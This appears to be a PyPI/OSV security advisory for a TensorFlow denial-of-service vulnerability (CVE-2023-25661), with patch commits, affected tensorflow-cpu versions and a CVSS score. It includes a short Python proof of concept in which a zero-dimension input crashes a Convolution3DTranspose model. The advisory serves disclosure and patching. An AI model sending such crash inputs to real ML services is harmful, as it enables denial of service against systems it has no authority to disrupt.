id: PYSEC-2026-1952
published: "2026-07-07T11:45:17.595902Z"
modified: "2026-07-07T17:25:27.712433Z"
aliases:
- CVE-2023-25661
- GHSA-fxgc-95xx-grvq
summary: TensorFlow Denial of Service vulnerability
details: "### Impact\nA malicious invalid input crashes a tensorflow model (Check Failed) and can be used to trigger a denial of service attack.\nTo minimize the bug, we built a simple single-layer TensorFlow model containing a Convolution3DTranspose layer, which works well with expected inputs and can be deployed in real-world systems. However, if we call the model with a malicious input which has a zero dimension, it gives Check Failed failure and crashes. \n```python\nimport tensorflow as tf\n\nclass MyModel(tf.keras.Model):\n    def __init__(self):\n        super().__init__()\n        self.conv = tf.keras.layers.Convolution3DTranspose(2, [3,3,3], padding=\"same\")\n        \n    def call(self, input):\n        return self.conv(input)\nmodel = MyModel() # Defines a valid model.\n\nx = tf.random.uniform([1, 32, 32, 32, 3], minval=0, maxval=0, dtype=tf.float32) # This is a valid input.\noutput = model.predict(x)\nprint(output.shape) # (1, 32, 32, 32, 2)\n\nx = tf.random.uniform([1, 32, 32, 0, 3], dtype=tf.float32) # This is an invalid input.\noutput = model(x) # crash\n```\nThis Convolution3DTranspose layer is a very common API in modern neural networks. The ML models containing such vulnerable components could be deployed in ML applications or as cloud services. This failure could be potentially used to trigger a denial of service attack on ML cloud services.\n\n### Patches\nWe have patched the issue in\n- GitHub commit [948fe6369a5711d4b4568ea9bbf6015c6dfb77e2](https://github.com/tensorflow/tensorflow/commit/948fe6369a5711d4b4568ea9bbf6015c6dfb77e2)\n- GitHub commit [85db5d07db54b853484bfd358c3894d948c36baf](https://github.com/keras-team/keras/commit/85db5d07db54b853484bfd358c3894d948c36baf).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n"
affected:
- package:
    name: tensorflow-cpu
    ecosystem: PyPI
    purl: pkg:pypi/tensorflow-cpu
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 2.11.1
  versions:
  - 1.15.0
  - 2.1.0
  - 2.1.1
  - 2.1.2
  - 2.1.3
  - 2.1.4
  - 2.10.0
  - 2.10.0rc0
  - 2.10.0rc1
  - 2.10.0rc2
  - 2.10.0rc3
  - 2.10.1
  - 2.11.0
  - 2.11.0rc0
  - 2.11.0rc1
  - 2.11.0rc2
  - 2.2.0
  - 2.2.1
  - 2.2.2
  - 2.2.3
  - 2.3.0
  - 2.3.1
  - 2.3.2
  - 2.3.3
  - 2.3.4
  - 2.4.0
  - 2.4.1
  - 2.4.2
  - 2.4.3
  - 2.4.4
  - 2.5.0
  - 2.5.1
  - 2.5.2
  - 2.5.3
  - 2.6.0
  - 2.6.1
  - 2.6.2
  - 2.6.3
  - 2.6.4
  - 2.6.5
  - 2.7.0
  - 2.7.1
  - 2.7.2
  - 2.7.3
  - 2.7.4
  - 2.8.0
  - 2.8.1
  - 2.8.2
  - 2.8.3
  - 2.8.4
  - 2.9.0
  - 2.9.0rc0
  - 2.9.0rc1
  - 2.9.0rc2
  - 2.9.1
  - 2.9.2
  - 2.9.3
references:
- type: WEB
  url: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fxgc-95xx-grvq
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2023-25661
- type: WEB
  url: https://github.com/keras-team/keras/commit/85db5d07db54b853484bfd358c3894d948c36baf
- type: WEB
  url: https://github.com/tensorflow/tensorflow/commit/948fe6369a5711d4b4568ea9bbf6015c6dfb77e2
- type: PACKAGE
  url: https://github.com/tensorflow/tensorflow
- type: PACKAGE
  url: https://pypi.org/project/tensorflow-cpu
- type: ADVISORY
  url: https://github.com/advisories/GHSA-fxgc-95xx-grvq
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H